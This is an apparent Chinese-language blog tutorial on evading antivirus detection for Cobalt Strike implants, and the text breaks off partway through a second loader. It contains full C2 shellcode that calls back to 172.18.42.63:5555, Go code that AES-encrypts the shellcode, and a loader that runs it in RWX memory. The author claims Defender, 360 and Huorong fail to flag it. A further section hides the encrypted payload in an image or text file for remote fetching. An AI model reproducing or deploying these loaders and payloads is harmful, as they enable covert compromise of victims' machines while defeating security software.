免殺基礎教學


0x00 前言:

最近閑來無事搞了一個免殺平台玩兒玩兒,用於生成免殺Cobalt Strike木馬和免殺加載一些其它shellcode(如msf、自定義等),這里就和大家分享一下免殺思路。

0x01 CS shellcode提取IP&port:

起初做的平台是用CS生成的shellcode去生成免殺馬,后來感覺太過於麻煩,每次生成免殺木馬前都要先去生成shellcode,遂改良了一下,下面講一下我從CS shellcode提取IP&port的思路:

1.首先Cobalt Strike生成C(java、python、perl、C#、ruby都行)的payload:

如上圖所示:生成木馬的IP為172.18.42.63,端口為5555:

/* length: 891 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0......省略......\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x37\x32\x2e\x31\x38\x2e\x34\x32\x2e\x36\x33\x00\x00\x00\x00\x01";

修改木馬格式,將木馬修改為16進制格式,形如:0xfc,0x48,0x83,0xe4...

0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x75,0x72,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4f,0xff,0xff,0xff,0x5d,0x6a,0x00,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x49,0x89,0xe6,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x48,0x31,0xc9,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x41,0x50,0x41,0x50,0x41,0xba,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x73,0x5a,0x48,0x89,0xc1,0x41,0xb8,0xb3,0x15,0x00,0x00,0x4d,0x31,0xc9,0x41,0x51,0x41,0x51,0x6a,0x03,0x41,0x51,0x41,0xba,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x59,0x5b,0x48,0x89,0xc1,0x48,0x31,0xd2,0x49,0x89,0xd8,0x4d,0x31,0xc9,0x52,0x68,0x00,0x02,0x40,0x84,0x52,0x52,0x41,0xba,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x48,0x83,0xc3,0x50,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0xff,0xff,0xff,0xff,0x4d,0x31,0xc9,0x52,0x52,0x41,0xba,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x0f,0x85,0x9d,0x01,0x00,0x00,0x48,0xff,0xcf,0x0f,0x84,0x8c,0x01,0x00,0x00,0xeb,0xd3,0xe9,0xe4,0x01,0x00,0x00,0xe8,0xa2,0xff,0xff,0xff,0x2f,0x43,0x43,0x74,0x63,0x00,0x08,0xa7,0x7e,0xde,0x11,0xed,0x24,0xe4,0xdf,0xb0,0xe9,0xab,0xd7,0xd1,0x53,0x21,0xbf,0x9a,0x94,0x3b,0x2d,0x5b,0x74,0x6d,0x62,0x43,0x3a,0x72,0x95,0x5a,0xad,0xb1,0xb1,0xb8,0x1a,0x03,0xe4,0xbb,0x7a,0x16,0x06,0xf3,0xe3,0x40,0xac,0x6c,0x6b,0x96,0x84,0x5a,0x55,0xb2,0x81,0x18,0x33,0x1b,0x10,0x98,0x13,0x90,0xc7,0xec,0xf2,0x96,0x3e,0x34,0x6e,0x4f,0xfc,0x33,0x6e,0x60,0x45,0x00,0x55,0x73,0x65,0x72,0x2d,0x41,0x67,0x65,0x6e,0x74,0x3a,0x20,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x63,0x6f,0x6d,0x70,0x61,0x74,0x69,0x62,0x6c,0x65,0x3b,0x20,0x4d,0x53,0x49,0x45,0x20,0x39,0x2e,0x30,0x3b,0x20,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x36,0x2e,0x31,0x3b,0x20,0x54,0x72,0x69,0x64,0x65,0x6e,0x74,0x2f,0x35,0x2e,0x30,0x3b,0x20,0x58,0x42,0x4c,0x57,0x50,0x37,0x3b,0x20,0x5a,0x75,0x6e,0x65,0x57,0x50,0x37,0x29,0x0d,0x0a,0x00,0x9c,0x89,0xda,0x30,0xe8,0x5d,0x0e,0xc7,0x5d,0xc0,0xf9,0xdc,0x71,0x10,0x23,0x40,0x72,0x57,0x84,0xe5,0x27,0x96,0xe1,0xb8,0x55,0x63,0xde,0xb6,0x53,0xb2,0x5d,0xf9,0xa0,0x7c,0x0d,0x3a,0xb9,0xdd,0x93,0x0a,0xae,0x8b,0x12,0x0b,0xbe,0xf3,0x4f,0x7c,0x92,0x9b,0xa1,0xca,0xf1,0x49,0xc3,0x35,0xdf,0xfa,0x4e,0xf4,0xe5,0x12,0xae,0xeb,0x9e,0xa6,0xfe,0xd1,0xfd,0xb3,0x21,0x30,0x75,0x23,0x91,0x7d,0xed,0x03,0xb8,0xbf,0x15,0xd3,0xe8,0x48,0x62,0x1b,0x93,0x18,0x33,0xa4,0x0b,0x39,0xe2,0x24,0x50,0xd2,0x4f,0x12,0x98,0x19,0xdb,0x9e,0x3a,0x41,0x5a,0x44,0x14,0xdb,0x32,0xc0,0x07,0xfa,0x4c,0xa9,0xd1,0xad,0x49,0xa3,0x94,0x02,0x98,0xe9,0x76,0x79,0x64,0x54,0x37,0xa9,0xe5,0x5b,0x76,0xca,0x3b,0xfc,0x07,0x0c,0xdb,0x41,0x6e,0xb1,0x3d,0x9e,0x4a,0x60,0x6d,0x7e,0x0d,0xed,0xf4,0xd1,0x01,0x71,0xd0,0xd6,0xd6,0xbc,0x15,0x2d,0xfd,0x9f,0x12,0xad,0x4b,0xc3,0xc7,0x62,0x7d,0x4b,0x86,0x06,0xc2,0x58,0xf6,0x34,0x96,0x08,0x03,0x3c,0xe2,0x3d,0x50,0x2f,0x03,0xfc,0xc3,0x45,0x2b,0xcc,0x86,0x1f,0x88,0xed,0x7e,0x44,0xd2,0x90,0xbb,0x57,0xa6,0x3b,0xb8,0xfe,0x2c,0x40,0xf8,0x69,0x47,0xd8,0x00,0x41,0xbe,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x31,0xc9,0xba,0x00,0x00,0x40,0x00,0x41,0xb8,0x00,0x10,0x00,0x00,0x41,0xb9,0x40,0x00,0x00,0x00,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x41,0xb8,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x41,0xba,0x12,0x96,0x89,0xe2,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb6,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd7,0x58,0x58,0x58,0x48,0x05,0x00,0x00,0x00,0x00,0x50,0xc3,0xe8,0x9f,0xfd,0xff,0xff,0x31,0x37,0x32,0x2e,0x31,0x38,0x2e,0x34,0x32,0x2e,0x36,0x33,0x00,0x00,0x00,0x00,0x01

現在開始正式分析這個payload,將16進制的payload轉換為string類型:

package main

import "fmt"

func main() {
	payload := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00...}
	fmt.Println(string(payload))
}

編譯執行可直接找到IP:172.18.42.63,由此可見IP是直接string -> byte放到shellcode里的,

將IP(string類型):172.18.42.63轉換為byte類型,去鎖定其在shellcode中的位置:

package main

import "fmt"

func main() {
	IP := []byte("172.18.42.63")
	fmt.Printf("%[[v]]", IP)
}

至此,我們就找到了IP,但是端口並沒有找到,翻閱百度、問群友無果后決定換個思路找找看:

5555(端口號)的16進制為15b3:

起初並沒有搜到,以為思路不對,但是在搜0x15的時候發現0xb3在0x15的前面:

會不會是小端模式的原因,端口轉16進制,在shellcode里的表示正好是反着的?抱着這樣的理解,准備再生成一個6666端口的shellcode驗證一下:

6666的16進制為:1a0a,在shellcode中的表示為0x0a, 0x1a,正好是反着的,驗證了我們的想法,至此IP和端口就都找到了。

小端、大端模式

這里普及一下小端模式大端模式

小端模式:是指數據的高字節保存在內存的高地址中,而數據的低字節保存在內存的低地址中。
簡單的說就是低地址存低位,高地址存高位

為了方便說明,使用16進制表示這兩個數,即0x12345678和0x11223344。小端模式采用以下方式存儲這個兩個數字:

大端模式:是指數據的高字節保存在內存的低地址中,而數據的低字節保存在內存的高地址中。
簡單的上,就是低地址存高位,高地址存低位(跟人讀寫數值的順序一樣)
為了方便說明,使用16進制表示這兩個數,即0x12345678和0x11223344。大端模式采用以下方式存儲這個兩個數字:

這兩種模式各有各的優點,用小端模式還是大端模式,取決於操作系統

0x02 殺毒軟件分析:

在開始寫免殺前,要先了解一下殺毒軟件的工作原理。

殺毒軟件基本原理

1. 無害

沒有任何可疑行為,沒有任何特征符合病毒。

2. 可疑

存在可疑行為:操作注冊表,打開powershell,修改用戶,操作敏感文件等。

3. 病毒

特征符合病毒。

殺毒軟件常用識別方式

1. 靜態:

從病毒體中提取的病毒特征碼,逐個與程序文件比較。特征碼是反病毒公司在分析病毒時,
確定的只有該病毒才可能會有的一系列二進制串,由這些特征可以與其它病毒或正常程序區別
開來。
靜態特征碼免殺針對kingsoft,macafee、Avira、trendmicro免殺效果比較明顯。

2. 啟發式查殺

啟發式查殺是虛擬機引擎和行為檢測相結合,通過模擬執行, 分析程序行為的安全檢測技術。

3.雲查殺

雲安全機制是一種新興的安全查殺機制,不同的安全廠商的雲安全查殺機制不一樣。基於雲共享特征庫掃描機制360 安全衛士,電腦管家,基於主動防御信譽雲的掃描機制。

0x03 繞過思路總結:

面對不同的殺毒引擎,有不同的繞過思路,大體分為以下幾種:

1. 如何繞過靜態查殺?

1.1 動態調用API

1.1.1 特征碼定位;

1.1.2動態獲取API地址;

1.1.3 自己調用;

1.2 代碼混淆技術

定位到被查殺的函數塊,然后通過 API 亂序調用或者插入一些正常其它API調用, 如釋

放文件時采用單個字節循環寫入。

1.3 底層API替代調用

當模塊在進行特殊操作的時候被殺,可以采用調用底層的API接口完成同樣的功能,如使用CreateProcessInternalW創建進程,NtQuerySystemInfomation獲取系統信息,以及一些其它的Native API。

1.4 加殼保護

自己開發的代碼保護工具進行加殼保護。

2.如何突破啟發式查殺?

2.1 內存載入解析技術

自己在內存中完成對模塊的載入、修復和調用。

2.2 模塊二次載入技術

當需要調用一些敏感模塊的時候,可以采用在內存二次載入我們的目標模塊,然后動態查找EAT 完成函數調用。 啟發檢測。

0x04 免殺繞過實戰:

1. AES 加密shellcode:

https://github.com/Ed1s0nZ/GoYiyi

將shellcode進行AES加密之后,用加載器去解密+加載:

aes.go

package main

import (
	"bytes"
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/base64"
	"fmt"
)

const (
	StdLen  = 16
	UUIDLen = 20
	iv      = "0000000000000000"
)

var StdChars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")

func Get_aes_key() []byte {
	return NewLenChars(StdLen, StdChars)
}

// NewLenChars returns a new random string of the provided length, consisting of the provided byte slice of allowed characters(maximum 256).
func NewLenChars(length int, chars []byte) []byte {
	if length == 0 {
		_ = 1
	}
	clen := len(chars)
	if clen < 2 || clen > 256 {
		panic("Wrong charset length for NewLenChars()")
	}
	maxrb := 255 - (256 % clen)
	b := make([]byte, length)
	r := make([]byte, length+(length/4)) // storage for random bytes.
	i := 0
	for {
		if _, err := rand.Read(r); err != nil {
			panic("Error reading random bytes: " + err.Error())
		}
		for _, rb := range r {
			c := int(rb)
			if c > maxrb {
				continue // Skip this number to avoid modulo bias.
			}
			b[i] = chars[c%clen]
			i++
			if i == length {
				return b
			}
		}
	}
}

func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
	padding := blockSize - len(ciphertext)%blockSize
	padtext := bytes.Repeat([]byte{byte(padding)}, padding)
	return append(ciphertext, padtext...)
}

func PKCS5UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
	decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
	if err != nil {
		return nil, err
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
	origData := make([]byte, len(decodeBytes))

	blockMode.CryptBlocks(origData, decodeBytes)
	origData = PKCS5UnPadding(origData)
	return origData, nil
}

func AesEncrypt(encodeBytes []byte, key []byte) (string, error) {

	block, err := aes.NewCipher(key)
	if err != nil {
		return "", err
	}

	blockSize := block.BlockSize()
	fmt.Println(blockSize)
	encodeBytes = PKCS5Padding(encodeBytes, blockSize)

	blockMode := cipher.NewCBCEncrypter(block, []byte(iv))
	crypted := make([]byte, len(encodeBytes))
	blockMode.CryptBlocks(crypted, encodeBytes)

	return base64.StdEncoding.EncodeToString(crypted), nil
}

func main() {
	var payload = []byte{} // 這里放CS 生成的shellcode(C語言) 修改為形如: 0xfc,0x00的格式
	key := "zizwsxedc1234567"
	b, _ := AesEncrypt([]byte(payload), []byte(key))
	fmt.Println("key: " + string(key))

	fmt.Println("enc_info: " + string(b))

}

loader.go

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"fmt"
	"syscall"
	"unsafe"
)

var iv = "0000000000000000"

func PKCS5UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
	decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
	if err != nil {
		return nil, err
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
	origData := make([]byte, len(decodeBytes))

	blockMode.CryptBlocks(origData, decodeBytes)
	origData = PKCS5UnPadding(origData)
	return origData, nil
}

func CError(err error) {
	if err != nil {
		fmt.Println(err)
		return
	}
	return
}

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
	KEY_1                  = 90
	KEY_2                  = 91
)

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
	var enc_key1 = "zizwsxedc"
	var enc_key2 = "1234567"
	var info_list = [...]string{"sasa2sasas1sssaas", "ssssasa", "aesaes="} // 第三個(aesaes=替換為shellcode)里面放加密過的shellcode
	shellcode, _ := AesDecrypt(info_list[2], []byte(enc_key1+enc_key2))
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

將aes加密過的shellcode放到loader里去加載(把shellcode放到數組里是為了不讓shellcode單獨成為一個參數提高免殺概率,無其他意義。)

image-20211101162500311

image-20211101162835112

defender、360、火絨檢測不到,且能正常執行命令。

2. shellcode分離免殺:

將shellcode和加載器分離出來,將shellcode加密寫入到一個文本、圖片、網站body,讓loader去訪問並加載:

code.go

package main

import (
	"bytes"
	"crypto/aes"
	"crypto/cipher"
	"crypto/rand"
	"encoding/base64"
	"fmt"
	"io/ioutil"
	"os"
)

const (
	StdLen  = 16
	UUIDLen = 20
	iv      = "0000000000000000"
)

var StdChars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")

func Get_aes_key() []byte {
	return NewLenChars(StdLen, StdChars)
}

// NewLenChars returns a new random string of the provided length, consisting of the provided byte slice of allowed characters(maximum 256).
func NewLenChars(length int, chars []byte) []byte {
	if length == 0 {
		_ = 1
	}
	clen := len(chars)
	if clen < 2 || clen > 256 {
		panic("Wrong charset length for NewLenChars()")
	}
	maxrb := 255 - (256 % clen)
	b := make([]byte, length)
	r := make([]byte, length+(length/4)) // storage for random bytes.
	i := 0
	for {
		if _, err := rand.Read(r); err != nil {
			panic("Error reading random bytes: " + err.Error())
		}
		for _, rb := range r {
			c := int(rb)
			if c > maxrb {
				continue // Skip this number to avoid modulo bias.
			}
			b[i] = chars[c%clen]
			i++
			if i == length {
				return b
			}
		}
	}
}

func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
	padding := blockSize - len(ciphertext)%blockSize
	padtext := bytes.Repeat([]byte{byte(padding)}, padding)
	return append(ciphertext, padtext...)
}

func PKCS5UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
	decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
	if err != nil {
		return nil, err
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
	origData := make([]byte, len(decodeBytes))

	blockMode.CryptBlocks(origData, decodeBytes)
	origData = PKCS5UnPadding(origData)
	return origData, nil
}

func AesEncrypt(encodeBytes []byte, key []byte) (string, error) {

	block, err := aes.NewCipher(key)
	if err != nil {
		return "", err
	}

	blockSize := block.BlockSize()
	fmt.Println(blockSize)
	encodeBytes = PKCS5Padding(encodeBytes, blockSize)

	blockMode := cipher.NewCBCEncrypter(block, []byte(iv))
	crypted := make([]byte, len(encodeBytes))
	blockMode.CryptBlocks(crypted, encodeBytes)

	return base64.StdEncoding.EncodeToString(crypted), nil
}
func WriteFile(aes string) {
	var f *os.File
	filename := "./shellcode.txt"
	f, _ = os.Create(filename)
	defer f.Close()
	_, err := f.Write([]byte(aes))
	if err != nil {
		return
	}
}
func WriteImage(aes string) {
	fname := "./a.jpg"
	content, err := ioutil.ReadFile(fname)
	err1 := ioutil.WriteFile("./a.jpg", content, 0666)
	if err1 != nil {
		fmt.Println("write file failed, err:", err)
		return
	}
	fmt.Printf("%[[v]]", content)
	if err != nil {
		fmt.Printf("open file faild,err:%s\n", err)
		return
	}
	f, err := os.OpenFile("./a.jpg", os.O_CREATE|os.O_RDWR|os.O_APPEND, os.ModeAppend|os.ModePerm)
	if err != nil {
		fmt.Println(err)
	}
	f.WriteString(aes)
	f.Close()
	fmt.Println("寫入成功!")
}

func main() {
	var payload = []byte{0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x75,0x72,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4f,0xff,0xff,0xff,0x5d,0x6a,0x00,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x49,0x89,0xe6,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x48,0x31,0xc9,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x41,0x50,0x41,0x50,0x41,0xba,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x73,0x5a,0x48,0x89,0xc1,0x41,0xb8,0xb3,0x15,0x00,0x00,0x4d,0x31,0xc9,0x41,0x51,0x41,0x51,0x6a,0x03,0x41,0x51,0x41,0xba,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x59,0x5b,0x48,0x89,0xc1,0x48,0x31,0xd2,0x49,0x89,0xd8,0x4d,0x31,0xc9,0x52,0x68,0x00,0x02,0x40,0x84,0x52,0x52,0x41,0xba,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x48,0x83,0xc3,0x50,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0xff,0xff,0xff,0xff,0x4d,0x31,0xc9,0x52,0x52,0x41,0xba,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x0f,0x85,0x9d,0x01,0x00,0x00,0x48,0xff,0xcf,0x0f,0x84,0x8c,0x01,0x00,0x00,0xeb,0xd3,0xe9,0xe4,0x01,0x00,0x00,0xe8,0xa2,0xff,0xff,0xff,0x2f,0x62,0x4e,0x34,0x79,0x00,0x3b,0x7a,0x28,0x46,0x2a,0x69,0x2c,0xf7,0x14,0xe2,0x22,0x24,0xfe,0xc0,0x23,0xac,0xcb,0x78,0xef,0x52,0xd9,0xcf,0x89,0xcf,0x4d,0x2b,0x58,0x8a,0x06,0x9f,0x92,0x54,0x20,0x49,0x9e,0x13,0xf9,0x8e,0x56,0xab,0x50,0xb5,0x82,0xe5,0x61,0xe4,0xdf,0xbe,0x25,0x10,0xf1,0xa6,0x34,0xb3,0x14,0x29,0x82,0xd8,0xe1,0x89,0x4a,0x87,0x82,0x79,0x88,0x7c,0x24,0x57,0xe1,0x49,0xc9,0xe5,0x33,0x00,0x55,0x73,0x65,0x72,0x2d,0x41,0x67,0x65,0x6e,0x74,0x3a,0x20,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x34,0x2e,0x30,0x20,0x28,0x63,0x6f,0x6d,0x70,0x61,0x74,0x69,0x62,0x6c,0x65,0x3b,0x20,0x4d,0x53,0x49,0x45,0x20,0x38,0x2e,0x30,0x3b,0x20,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x35,0x2e,0x31,0x3b,0x20,0x54,0x72,0x69,0x64,0x65,0x6e,0x74,0x2f,0x34,0x2e,0x30,0x3b,0x20,0x2e,0x4e,0x45,0x54,0x20,0x43,0x4c,0x52,0x20,0x31,0x2e,0x31,0x2e,0x34,0x33,0x32,0x32,0x3b,0x20,0x42,0x4f,0x49,0x45,0x38,0x3b,0x45,0x4e,0x55,0x53,0x29,0x0d,0x0a,0x00,0xc0,0xc3,0x8d,0x65,0x38,0xca,0x0c,0x93,0xc0,0xbd,0xf5,0x27,0xdc,0xdb,0x12,0xe5,0xef,0x3b,0xfe,0xc4,0x43,0x2c,0x7a,0xb1,0x0e,0xba,0x25,0x17,0x96,0xd3,0xb3,0xbb,0xde,0xf7,0x3d,0x47,0x10,0xeb,0x63,0x04,0xc0,0x7f,0x4a,0xbb,0xda,0x0b,0x71,0x9e,0x5b,0xba,0xeb,0x87,0x01,0x53,0xc0,0x13,0xa5,0x2a,0xfc,0x2e,0x8c,0xbc,0x12,0xcf,0x18,0xc5,0xc8,0x33,0xa6,0x40,0xe8,0xd0,0xf2,0x5f,0xa9,0xca,0xb4,0xb9,0x61,0xa1,0xcd,0x8d,0x50,0x1c,0x31,0xb8,0xdd,0x69,0x0c,0xb2,0xa1,0xd6,0xf1,0xc9,0xcf,0x5a,0xec,0xb5,0xab,0x24,0x46,0x83,0xe5,0x49,0x5c,0xd8,0xe8,0x35,0x35,0xd8,0x75,0x87,0x96,0x57,0x6a,0x17,0x3a,0x6b,0xa3,0x7a,0x2b,0x28,0xc2,0xae,0x2a,0x62,0x0d,0xcc,0x7e,0x29,0x2c,0x9e,0xe6,0x38,0x76,0xfe,0x92,0x9a,0xc5,0x2c,0xc1,0x68,0xf7,0x84,0x33,0xd2,0x74,0xa7,0xcb,0x41,0x0d,0x0f,0x2f,0x24,0xaa,0x22,0xed,0xb2,0xfb,0x18,0xac,0x33,0x11,0xab,0x77,0x50,0x2c,0xaf,0xdc,0x33,0xf0,0x4f,0xce,0xe1,0x27,0x1a,0x5b,0x2e,0x9d,0xd7,0x2b,0x93,0x65,0x38,0xfd,0x04,0xbc,0x53,0x22,0xd8,0xc4,0x46,0xe0,0x0c,0x00,0x41,0xbe,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x31,0xc9,0xba,0x00,0x00,0x40,0x00,0x41,0xb8,0x00,0x10,0x00,0x00,0x41,0xb9,0x40,0x00,0x00,0x00,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x41,0xb8,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x41,0xba,0x12,0x96,0x89,0xe2,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb6,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd7,0x58,0x58,0x58,0x48,0x05,0x00,0x00,0x00,0x00,0x50,0xc3,0xe8,0x9f,0xfd,0xff,0xff,0x31,0x37,0x32,0x2e,0x31,0x38,0x2e,0x34,0x32,0x2e,0x36,0x33,0x00,0x00,0x00,0x00,0x01,}
	key := "eaeasdzxc1qazxsw"
	b, _ := AesEncrypt([]byte(payload), []byte(key))
	b = b + "=====18jokriwow0"
	WriteFile(b)
	WriteImage(b)

}

loader.go

package main

import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"fmt"
	"io/ioutil"
	"net/http"
	"os"
	"strings"
	"syscall"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

var iv = "0000000000000000"

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func PKCS5UnPadding(origData []byte) []byte {
	length := len(origData)
	unpadding := int(origData[length-1])
	return origData[:(length - unpadding)]
}

func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
	decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
	if err != nil {
		return nil, err
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, err
	}
	blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
	origData := make([]byte, len(decodeBytes))

	blockMode.CryptBlocks(origData, decodeBytes)
	origData = PKCS5UnPadding(origData)
